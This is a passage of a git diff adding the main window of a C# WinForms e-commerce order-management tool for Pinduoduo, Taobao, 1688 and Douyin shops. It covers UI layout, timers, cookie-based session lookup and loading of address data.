this.pnlFactoryOrder.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlFactoryOrder.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlFactoryOrder.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlFactoryOrder.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlFactoryOrder.Location = new System.Drawing.Point(1224, 31); + this.pnlFactoryOrder.Name = "pnlFactoryOrder"; + this.pnlFactoryOrder.Size = new System.Drawing.Size(95, 21); + this.pnlFactoryOrder.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlFactoryOrder.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlFactoryOrder.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlFactoryOrder.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlFactoryOrder.Style.CornerDiameter = 1; + this.pnlFactoryOrder.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlFactoryOrder.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlFactoryOrder.Style.GradientAngle = 90; + this.pnlFactoryOrder.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlFactoryOrder.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlFactoryOrder.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlFactoryOrder.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlFactoryOrder.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlFactoryOrder.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlFactoryOrder.TabIndex = 888; + this.pnlFactoryOrder.Text = "工厂订单"; + this.pnlFactoryOrder.Visible = false; + this.pnlFactoryOrder.Click += new System.EventHandler(this.pnlFactoryOrder_Click); + // + // pntimebuyorder + // + this.pntimebuyorder.Controls.Add(this.dtimestartbuyorder); + this.pntimebuyorder.Controls.Add(this.dtimeendbuyorder); + this.pntimebuyorder.Controls.Add(this.label7); + this.pntimebuyorder.Controls.Add(this.label2); + this.pntimebuyorder.Location = new System.Drawing.Point(18, 67); + this.pntimebuyorder.Name = "pntimebuyorder"; + this.pntimebuyorder.Size = new System.Drawing.Size(283, 24); + this.pntimebuyorder.TabIndex = 855; + this.pntimebuyorder.Visible = false; + // + // dtimestartbuyorder + // + this.dtimestartbuyorder.Location = new System.Drawing.Point(46, 3); + this.dtimestartbuyorder.Name = "dtimestartbuyorder"; + this.dtimestartbuyorder.Size = new System.Drawing.Size(105, 21); + this.dtimestartbuyorder.TabIndex = 0; + // + // dtimeendbuyorder + // + this.dtimeendbuyorder.Location = new System.Drawing.Point(169, 3); + this.dtimeendbuyorder.Name = "dtimeendbuyorder"; + this.dtimeendbuyorder.Size = new System.Drawing.Size(106, 21); + this.dtimeendbuyorder.TabIndex = 1; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(154, 7); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(11, 12); + this.label7.TabIndex = 3; + this.label7.Text = "-"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(8, 7); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(41, 12); + this.label2.TabIndex = 2; + this.label2.Text = "暂不用"; + // + // panel2 + // + this.panel2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panel2.Controls.Add(this.tableLayoutPanel1); + this.panel2.Location = new System.Drawing.Point(6, 636); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(1324, 30); + this.panel2.TabIndex = 6; + // + // tableLayoutPanel1 + // + this.tableLayoutPanel1.ColumnCount = 4; + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + this.tableLayoutPanel1.Controls.Add(this.lblMsg, 0, 0); + this.tableLayoutPanel1.Controls.Add(this.lbSendOrder, 3, 0); + this.tableLayoutPanel1.Controls.Add(this.lbpdtime, 2, 0); + this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel1.Name = "tableLayoutPanel1"; + this.tableLayoutPanel1.RowCount = 1; + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel1.Size = new System.Drawing.Size(1324, 30); + this.tableLayoutPanel1.TabIndex = 0; + // + // lblMsg + // + this.lblMsg.Anchor = System.Windows.Forms.AnchorStyles.None; + this.lblMsg.AutoSize = true; + this.lblMsg.Font = new System.Drawing.Font("宋体", 11F); + this.lblMsg.ForeColor = System.Drawing.Color.White; + this.lblMsg.Location = new System.Drawing.Point(3, 7); + this.lblMsg.Name = "lblMsg"; + this.lblMsg.Size = new System.Drawing.Size(112, 15); + this.lblMsg.TabIndex = 0; + this.lblMsg.Text = "状态:准备就绪"; + // + // lbSendOrder + // + this.lbSendOrder.Anchor = System.Windows.Forms.AnchorStyles.None; + this.lbSendOrder.AutoSize = true; + this.lbSendOrder.Font = new System.Drawing.Font("宋体", 11F); + this.lbSendOrder.ForeColor = System.Drawing.Color.White; + this.lbSendOrder.Location = new System.Drawing.Point(1162, 7); + this.lbSendOrder.Name = "lbSendOrder"; + this.lbSendOrder.Size = new System.Drawing.Size(159, 15); + this.lbSendOrder.TabIndex = 2; + this.lbSendOrder.Text = "发货倒计时:00分00秒"; + // + // lbpdtime + // + this.lbpdtime.Anchor = System.Windows.Forms.AnchorStyles.None; + this.lbpdtime.AutoSize = true; + this.lbpdtime.Font = new System.Drawing.Font("宋体", 11F); + this.lbpdtime.ForeColor = System.Drawing.Color.White; + this.lbpdtime.Location = new System.Drawing.Point(982, 7); + this.lbpdtime.Name = "lbpdtime"; + this.lbpdtime.Size = new System.Drawing.Size(174, 15); + this.lbpdtime.TabIndex = 1; + this.lbpdtime.Text = "读拍单倒计时:00分00秒"; + // + // pnorderadmin + // + this.pnorderadmin.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.pnorderadmin.BackColor = System.Drawing.Color.White; + this.pnorderadmin.Location = new System.Drawing.Point(2, 40); + this.pnorderadmin.Name = "pnorderadmin"; + this.pnorderadmin.Size = new System.Drawing.Size(1326, 595); + this.pnorderadmin.TabIndex = 7; + this.pnorderadmin.Visible = false; + // + // dataGridViewTextBoxColumn1 + // + this.dataGridViewTextBoxColumn1.HeaderText = "店铺名称"; + this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; + this.dataGridViewTextBoxColumn1.ReadOnly = true; + this.dataGridViewTextBoxColumn1.Visible = false; + this.dataGridViewTextBoxColumn1.Width = 72; + // + // dataGridViewTextBoxColumn2 + // + this.dataGridViewTextBoxColumn2.HeaderText = "状态"; + this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; + this.dataGridViewTextBoxColumn2.ReadOnly = true; + this.dataGridViewTextBoxColumn2.Width = 42; + // + // dataGridViewTextBoxColumn3 + // + this.dataGridViewTextBoxColumn3.HeaderText = "后台"; + this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; + this.dataGridViewTextBoxColumn3.ReadOnly = true; + this.dataGridViewTextBoxColumn3.Width = 37; + // + // dataGridViewTextBoxColumn4 + // + this.dataGridViewTextBoxColumn4.HeaderText = "后台"; + this.dataGridViewTextBoxColumn4.Name = "dataGridViewTextBoxColumn4"; + this.dataGridViewTextBoxColumn4.ReadOnly = true; + this.dataGridViewTextBoxColumn4.Width = 48; + // + // colShopId + // + this.colShopId.HeaderText = "店铺Id"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + this.colShopId.Visible = false; + // + // colShopName + // + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Width = 68; + // + // colAuthStatus + // + this.colAuthStatus.HeaderText = "授权状态"; + this.colAuthStatus.Name = "colAuthStatus"; + this.colAuthStatus.ReadOnly = true; + this.colAuthStatus.Width = 58; + // + // colLoginStatus + // + this.colLoginStatus.HeaderText = "登录状态"; + this.colLoginStatus.Name = "colLoginStatus"; + this.colLoginStatus.ReadOnly = true; + this.colLoginStatus.Width = 58; + // + // MainForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.ClientSize = new System.Drawing.Size(1330, 668); + this.Controls.Add(this.panel2); + this.Controls.Add(this.splitMain); + this.Controls.Add(this.panel1); + this.Controls.Add(this.pnorderadmin); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MinimumSize = new System.Drawing.Size(1330, 668); + this.Name = "MainForm"; + this.Padding = new System.Windows.Forms.Padding(3); + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Form1"; + this.Load += new System.EventHandler(this.MainForm_Load); + this.Resize += new System.EventHandler(this.MainForm_Resize); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbseting)).EndInit(); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.flowLayoutPanel1.ResumeLayout(false); + this.splitMain.Panel1.ResumeLayout(false); + this.splitMain.Panel1.PerformLayout(); + this.splitMain.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitMain)).EndInit(); + this.splitMain.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.pnlLogin1688.ResumeLayout(false); + this.pnlAfterSaleSelect.ResumeLayout(false); + this.pnlSuccessSelect.ResumeLayout(false); + this.pnlLoginPddPifa.ResumeLayout(false); + this.pnlLoginTaobao.ResumeLayout(false); + this.pnsku.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pcskuimg)).EndInit(); + this.pntimebuyorder.ResumeLayout(false); + this.pntimebuyorder.PerformLayout(); + this.panel2.ResumeLayout(false); + this.tableLayoutPanel1.ResumeLayout(false); + this.tableLayoutPanel1.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1; + private DevComponents.DotNetBar.PanelEx pnlWaitingBuyOrder; + private DevComponents.DotNetBar.PanelEx pnlWaitingDeliverGoods; + private DevComponents.DotNetBar.PanelEx pnlAfterSale; + private DevComponents.DotNetBar.PanelEx pnlOrderManage; + private System.Windows.Forms.SplitContainer splitMain; + private System.Windows.Forms.Panel panel2; + private DevComponents.DotNetBar.PanelEx pnlClose; + private DevComponents.DotNetBar.PanelEx pnlMax; + private DevComponents.DotNetBar.PanelEx pnlMin; + private System.Windows.Forms.Label lbSendOrder; + private System.Windows.Forms.Label lbpdtime; + private DevComponents.DotNetBar.PanelEx btn; + private System.Windows.Forms.DataGridView dgvShop; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label lbsqcount; + private System.Windows.Forms.Label lbwsqcount; + private System.Windows.Forms.Label label8; + private DevComponents.DotNetBar.PanelEx pnlReadOrder; + private DevComponents.DotNetBar.PanelEx panelEx5; + public System.Windows.Forms.ComboBox cbpddBuyUser; + private DevComponents.DotNetBar.PanelEx panelEx7; + private DevComponents.DotNetBar.LabelX lb; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; + private DevComponents.DotNetBar.PanelEx pnlExportExcel; + private DevComponents.DotNetBar.PanelEx panelEx2; + public System.Windows.Forms.ComboBox cbtbBuyUser; + private DevComponents.DotNetBar.LabelX lbtaobao; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.PictureBox pictureBox1; + private System.Windows.Forms.Label label3; + private DevComponents.DotNetBar.PanelEx panelEx3; + private System.Windows.Forms.Label lblSearch; + private System.Windows.Forms.Label lbv; + private DevComponents.DotNetBar.PanelEx pnlSuccess; + private System.Windows.Forms.Label lbname; + private System.Windows.Forms.PictureBox pbseting; + private System.Windows.Forms.Panel pnlAfterSaleSelect; + private DevComponents.DotNetBar.Controls.CheckBoxX checkBoxX1; + private DevComponents.DotNetBar.Controls.CheckBoxX checkBoxX3; + private DevComponents.DotNetBar.Controls.CheckBoxX checkBoxX2; + private DevComponents.DotNetBar.LabelX lb1688; + private DevComponents.DotNetBar.PanelEx panelEx8; + public System.Windows.Forms.ComboBox cb1688BuyUser; + private System.Windows.Forms.Panel pnlSuccessSelect; + private DevComponents.DotNetBar.Controls.CheckBoxX cbNotSigned; + private DevComponents.DotNetBar.Controls.CheckBoxX cbSignedIn; + private System.Windows.Forms.Panel pntimebuyorder; + private System.Windows.Forms.DateTimePicker dtimeendbuyorder; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.DateTimePicker dtimestartbuyorder; + private System.Windows.Forms.Label label2; + private DevComponents.DotNetBar.Controls.CheckBoxX cbcancel; + private System.Windows.Forms.Panel pnsku; + private System.Windows.Forms.PictureBox pcskuimg; + private System.Windows.Forms.Panel pnorderadmin; + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn4; + public DevComponents.DotNetBar.Controls.TextBoxX txtSearch; + public DevComponents.DotNetBar.Controls.TextBoxX txtFactoryExportProductId; + private DevComponents.DotNetBar.PanelEx pnlFactoryOrder; + private DevComponents.DotNetBar.PanelEx pnlLoginBuyin; + private System.Windows.Forms.Label lblFactoryOrder; + private DevComponents.DotNetBar.Controls.CheckBoxX chkHasLogisticsThenSend; + private DevComponents.DotNetBar.PanelEx pnlSetSendOrder; + private DevComponents.DotNetBar.PanelEx pnlEditTableHeaders; + private System.Windows.Forms.Button button1; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewLinkColumn colShopAccount; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colAuthStatus; + private System.Windows.Forms.DataGridViewTextBoxColumn colLoginStatus; + private System.Windows.Forms.LinkLabel lblContactSupport; + private DevComponents.DotNetBar.Controls.CheckBoxX chkReadFinishedRefund; + public System.Windows.Forms.Label lblMsg; + private DevComponents.DotNetBar.PanelEx pnlSetReceiveAddress; + private System.Windows.Forms.Panel pnlLoginPddPifa; + private DevComponents.DotNetBar.LabelX lbDelPddPifa; + private DevComponents.DotNetBar.PanelEx btnLoginPddPifa; + public System.Windows.Forms.ComboBox cmbPddPifaBuyUser; + private System.Windows.Forms.Panel pnlLogin1688; + private System.Windows.Forms.Panel pnlLoginTaobao; + private DevComponents.DotNetBar.Controls.CheckBoxX chkUsePddPifa; + private DevComponents.DotNetBar.Controls.CheckBoxX chkUseMultiBuyer; + private DevComponents.DotNetBar.PanelEx pnlSetMutliBuyer; + private System.Windows.Forms.Button btn电子面单测试; + } +} + diff --git a/29WxOrder/MainForm.cs b/29WxOrder/MainForm.cs new file mode 100644 index 0000000..bd1c0c4 --- /dev/null +++ b/29WxOrder/MainForm.cs @@ -0,0 +1,3871 @@ +using AllBase; +using AllBase.DouYinModel.Result; +using AllBase.Helper; +using AllBase.Model; +using AllBase.Model.Result; +using CefSharp; +using CefSharp.WinForms; +using DevComponents.DotNetBar; +using _29WxOrder.Extension; +using _29WxOrder.FactoryExportForms; +using _29WxOrder.Helper; +using _29WxOrder.OrderForms; +using _29WxOrder.Properties; +using _29WxOrder.ShopForms; +using _29WxOrder.ToolForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using NaiBa.Util; +using NaiBa.Util.Extension; +using NaiBa.Util.Helper; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Configuration; +using System.Data; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.IO; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using System.Windows.Threading; +using Work; +using Work.Api; +using Work.BaseForms; +using Work.BuyUsers; + +namespace _29WxOrder +{ + public partial class MainForm : Form + { + public static MainForm instance = null; + private ChromiumWebBrowser cefWebBrowser = null; + private ChromiumWebBrowser cefTaoBaoAliRefreshWebBrowser = null; + int currentCefReadOrderPage = 0; + private bool isCefLoad = false; + + private Point mouseOffset; // 记录鼠标指针的坐标 + private bool isMouseDown; // 记录鼠标左键是否按下 + DispatcherTimer time_SendOrder = new DispatcherTimer(); + DispatcherTimer time_ReadBuyOrder = new DispatcherTimer(); + int DefaultTop = 0; + int DefaultLeft = 0; + + public MainForm() + { + InitializeComponent(); + + instance = this; + SetWindowRegion(); + + this.Text = "小奶兔"; + if (FileBase.Exists(BaseClass.ProgromLogoIco)) + { + Image img = Image.FromFile(BaseClass.ProgromLogoIco); + BaseClass.Ico = ImgConvertToIcon.ConvertToIcon(img, false); + Icon = BaseClass.Ico; + pictureBox1.Image = img; + } + if (FileBase.Exists(BaseClass.ProgromLogo)) + { + Image img = Image.FromFile(BaseClass.ProgromLogo); + } + if (!string.IsNullOrEmpty(BaseClass.ProgramName)) + { + this.Text = label3.Text = BaseClass.ProgramName; + } + + time_SendOrder.Interval = new TimeSpan(0, 0, 1); + time_SendOrder.Tick += new EventHandler(sendOrder); + time_SendOrder.Start(); + time_ReadBuyOrder.Interval = new TimeSpan(0, 0, 1); + time_ReadBuyOrder.Tick += new EventHandler(readBuyOrder); + time_ReadBuyOrder.Start(); + new Thread(Ini).Start(); + } + + public string PddUid = ""; + public void Ini() + { + string path = "temp/province"; + if (!Directory.Exists("temp")) + Directory.CreateDirectory("temp"); + if (!Directory.Exists(path)) + Directory.CreateDirectory(path); + + string mainDomain = "yangkeduo.com"; + while (string.IsNullOrEmpty(PddUid)) + { + Thread.Sleep(100); + if (BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll[mainDomain].ContainsKey("pdd_user_id")) + PddUid = BaseClass.CookiesAll[mainDomain]["pdd_user_id"]; + } + + string html = GetProvince("1"); + var m = BaseRegex.GetMatchRegex(ref html, @"\{(.+?)\}"); + for (int i = 0; m != null && i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + ProvinceBase p = new ProvinceBase(); + p.name = BaseRegex.GetStringJson(ref list, "region_name"); + p.id = BaseRegex.GetStringJson(ref list, "region_id"); + p.parent_id = BaseRegex.GetStringJson(ref list, "parent_id"); + html = GetProvince(p.id); + var mm = BaseRegex.GetMatchRegex(ref html, @"\{(.+?)\}"); + for (int j = 0; mm != null && j < mm.Count; j++) + { + list = mm[j].Groups[0].Value; + ProvinceBase pp = new ProvinceBase(); + pp.name = BaseRegex.GetStringJson(ref list, "region_name"); + pp.id = BaseRegex.GetStringJson(ref list, "region_id"); + pp.parent_id = BaseRegex.GetStringJson(ref list, "parent_id"); + html = GetProvince(pp.id); + var mmm = BaseRegex.GetMatchRegex(ref html, @"\{(.+?)\}"); + for (int k = 0; mmm != null && k < mmm.Count; k++) + { + list = mmm[k].Groups[0].Value; + ProvinceBase ppp = new ProvinceBase(); + ppp.name = BaseRegex.GetStringJson(ref list, "region_name"); + ppp.id = BaseRegex.GetStringJson(ref list, "region_id"); + ppp.parent_id = BaseRegex.GetStringJson(ref list, "parent_id"); + pp.city[ppp.name] = ppp; + } + p.city[pp.name] = pp; + } + CollectionClass.Province[p.name] = p; + } + } + + #region 设置窗体圆角 + /// + /// 设置窗体的Region + /// + public void SetWindowRegion() + { + //GraphicsPath FormPath; + //Rectangle rect = new Rectangle(0, 0, this.Width, this.Height); + //FormPath = GetRoundedRectPath(rect, 6); + //this.Region = new Region(FormPath); + + Work.Helper.WindowStyle.SetFormRoundRectRgn(this, 6); + } + /// + /// 绘制圆角路径 + /// + /// + /// + /// + private GraphicsPath GetRoundedRectPath(Rectangle rect, int radius) + { + int diameter = radius; + Rectangle arcRect = new Rectangle(rect.Location, new Size(diameter, diameter)); + GraphicsPath path = new GraphicsPath(); + + // 左上角 + path.AddArc(arcRect, 180, 90); + + // 右上角 + arcRect.X = rect.Right - diameter; + path.AddArc(arcRect, 270, 90); + + // 右下角 + arcRect.Y = rect.Bottom - diameter; + path.AddArc(arcRect, 0, 90); + + // 左下角 + arcRect.X = rect.Left; + path.AddArc(arcRect, 90, 90); + path.CloseFigure();//闭合曲线 + return path; + } + private void MainForm_Resize(object sender, EventArgs e) + { + SetWindowRegion(); + } + #endregion + #region 自定义大小 + const int WM_NCHITTEST = 0x0084; + const int HTLEFT = 10; //左边界 + const int HTRIGHT = 11; //右边界 + const int HTTOP = 12; //上边界 + const int HTTOPLEFT = 13; //左上角 + const int HTTOPRIGHT = 14; //右上角 + const int HTBOTTOM = 15; //下边界 + const int HTBOTTOMLEFT = 0x10; //左下角 + const int HTBOTTOMRIGHT = 17; //右下角 + protected override void WndProc(ref Message m) + { + switch (m.Msg) + { + case WM_NCHITTEST: + base.WndProc(ref m); + Point vPoint = new Point((int)m.LParam & 0xFFFF, + (int)m.LParam >> 16 & 0xFFFF); + vPoint = PointToClient(vPoint); + if (vPoint.X <= 5) + if (vPoint.Y <= 5) + m.Result = (IntPtr)HTTOPLEFT; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)HTBOTTOMLEFT; + else m.Result = (IntPtr)HTLEFT; + else if (vPoint.X >= ClientSize.Width - 5) + if (vPoint.Y <= 5) + m.Result = (IntPtr)HTTOPRIGHT; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)HTBOTTOMRIGHT; + else m.Result = (IntPtr)HTRIGHT; + else if (vPoint.Y <= 5) + m.Result = (IntPtr)HTTOP; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)HTBOTTOM; + break; + default: + base.WndProc(ref m); + break; + } + } + #endregion + public delegate void delegateView(); + public BuyForms.BuyBrower buyBrower = new BuyForms.BuyBrower(); + public BuyOrderListForm buyOrderListForm; + public SendOrderListForms sendOrderForms; + public SuccessOrderListForm successOrderListForm = new SuccessOrderListForm(); + public AfterSaleOrderListForm afterSaleOrderListForm = new AfterSaleOrderListForm(); + public ChromiumWebBrowser cefWebBrowser1 = null; + public OAForm oaform; + private void MainForm_Load(object sender, EventArgs e) + { + if (BaseClass.UserName == "18655555336" || BaseClass.UserName == "18968727237") + { + this.flowLayoutPanel1.Width = 660; + } + + if (BaseClass.IsCloudBuyOrder) + { + //this.pnlLogin1688.Location = new Point() { X = this.pnlLogin1688.Location.X, Y = this.pnlLogin1688.Location.Y - 12 }; + //this.pnlLoginTaobao.Location = new Point() { X = this.pnlLoginTaobao.Location.X, Y = this.pnlLoginTaobao.Location.Y - 6 }; + this.pnlLoginPddPifa.Visible = true; + chkUsePddPifa.Visible = true; + chkUseMultiBuyer.Visible = true; + pnlSetMutliBuyer.Visible = true; + + pnlLoginTaobao.Visible = true; + pnlLogin1688.Visible = true; + } + +#if DEBUG + this.dgvShop.Columns["colSelect"].Visible = true; +#else + this.dgvShop.Columns["colSelect"].Visible = false; +#endif + + lbv.Text = "V:" + BaseClass.Varsion; + lbname.Text = "账号:" + BaseClass.UserName; + dtimestartbuyorder.Value = DateTime.Now; + dtimeendbuyorder.Value = DateTime.Now.AddDays(-7); + + if (BaseClass.GroupId != 3) + pnlReadOrder.Visible = false; + + if (BaseClass.IsFactory) + { + pnlExportExcel.Visible = lblFactoryOrder.Visible = txtFactoryExportProductId.Visible = pnlFactoryOrder.Visible = true; + } + + dgvShop.AddSelectorColumn("colSelect"); + this.pnsku.Location = new System.Drawing.Point(48, 260); + pnlAfterSaleSelect.Location = pnlSuccessSelect.Location; + + chkHasLogisticsThenSend.CheckedChanged -= chkHasLogisticsThenSend_CheckedChanged; + chkHasLogisticsThenSend.Checked = GlobalConfig.SystemSettings.IsHasLogisticsThenSend; + chkHasLogisticsThenSend.CheckedChanged += chkHasLogisticsThenSend_CheckedChanged; + + chkUsePddPifa.CheckedChanged -= chkUsePddPifa_CheckedChanged; + chkUsePddPifa.Checked = GlobalConfig.SystemSettings.IsUsePddPifa; + chkUsePddPifa.CheckedChanged += chkUsePddPifa_CheckedChanged; + chkUseMultiBuyer.CheckedChanged -= chkUseMultiBuyer_CheckedChanged; + chkUseMultiBuyer.Checked = GlobalConfig.SystemSettings.IsUseMultiBuyer; + chkUseMultiBuyer.CheckedChanged += chkUseMultiBuyer_CheckedChanged; + + Task.Run(() => { PddMultiBuyerForm.GetMultiBuyer(); }); + + SetForm.ChangeCustomJinBaoLianMengLink(); + + new Thread(getAddress1688).Start(); + new Thread(ReflashCookies).Start(); + new Thread(readerShop).Start(); + RefreshTabaoAliCookies(); + //物流解析 + List expresslist = JsonConvert.DeserializeObject>(JObject.Parse(CollectionClass.ExpressJsonList)["data"].ToString().Replace("\r\n", "").Replace(" ", "")); + CollectionClass.ExpressList = expresslist; + + //获取买手号 + new Thread(GetServiceBuyUsers).Start(); + + #region 浏览器加载(废弃) + //string targetUrl = "https://www.taobao.com/tbhome/page/market-list"; + //cefWebBrowser1 = new ChromiumWebBrowser(targetUrl); + //cefWebBrowser1.Location = new Point(1, 1); + //cefWebBrowser1.Size = new Size(1, 1); + //cefWebBrowser1.RegisterJsObject("bound", new BoundObject(), BindingOptions.DefaultBinder); + //cefWebBrowser1.Dock = DockStyle.None; + //splitMain.Panel2.Controls.Add(cefWebBrowser1); + #endregion + + pnlMenu_Click(pnlWaitingDeliverGoods, null); + pnlMenu_Click(pnlWaitingBuyOrder, null); + + DefaultTop = this.Top; + DefaultLeft = this.Left; + new Thread(buyOrderListForm.SetRows).Start(); + new Thread(buyOrderListForm.dgvOrderDtailUpdate).Start(); + new Thread(ReadJuLiangCef).Start(); + + + // 是否显示联系客服按钮 + if (FileBase.Exists("locales/ig.pak") || FileBase.Exists("locales/wl.pak")) + lblContactSupport.Visible = false; + else + lblContactSupport.Visible = true; + + this.chkReadFinishedRefund.CheckedChanged -= chkReadFinish_CheckedChanged; + this.chkReadFinishedRefund.Checked = ConfigHelper.LoadConfig("read_finished_refund"); + AfterSaleOrderListForm.IsReadFinishedRefund = this.chkReadFinishedRefund.Checked; + this.chkReadFinishedRefund.CheckedChanged += chkReadFinish_CheckedChanged; + } + + + + #region 获取阿里巴巴省市县区的地址 + public Dictionary> Addressdic = new Dictionary>(); + public List AddressAllList = new List(); + public void getAddress1688() + { + Thread.Sleep(2000); + string strContent = FileBase.ReadAllText("1688_address.tjm"); + strContent = GetHtml.UrlDecode(strContent); + var m = BaseRegex.GetMatchRegex(ref strContent, @"{[^}]+?}"); + for (int i = 0; m != null && i < m.Count; i++) + { + string addressContent = m[i].Groups[0].Value; + AddressBase a = new AddressBase(); + string[] addressArray = addressContent.Split(','); + for (int j = 0; j < addressArray.Length; j++) + { + var itemMatch = BaseRegex.GetMatchRegex(ref addressArray[j], @"([\w\W]+?):([\w\W]+)"); + string itemname = itemMatch[0].Groups[1].Value.Replace("{", ""); + string itemvalue = itemMatch[0].Groups[2].Value.Replace("\"", "").Replace("}", ""); + if (itemname == "a") + { + a.Id = int.Parse(itemvalue); + } + if (itemname == "n") + { + a.Name = itemvalue; + } + if (itemname == "p") + { + a.UpId = int.Parse(itemvalue); + } + } + AddressAllList.Add(a); + if (!Addressdic.ContainsKey(a.Id)) + Addressdic.Add(a.Id, new List()); + if (!Addressdic.ContainsKey(a.UpId)) + Addressdic.Add(a.UpId, new List()); + Addressdic[a.UpId].Add(a); + } + } + #endregion + + + void readerShop() + { + Task.Run(() => + { + GetServerDouShop(); + }); + } + private void readBuyOrder(object sender, EventArgs e) + { + if (BaseClass.GroupId != 3) + { + lbpdtime.Text = "当前登录的是子账号,请使用主账号读取订单 "; + return; + } + + BaseClass.StartReadOrderSecond--; + lbpdtime.Text = string.Format("读拍单倒计时:{0}分{1}秒", 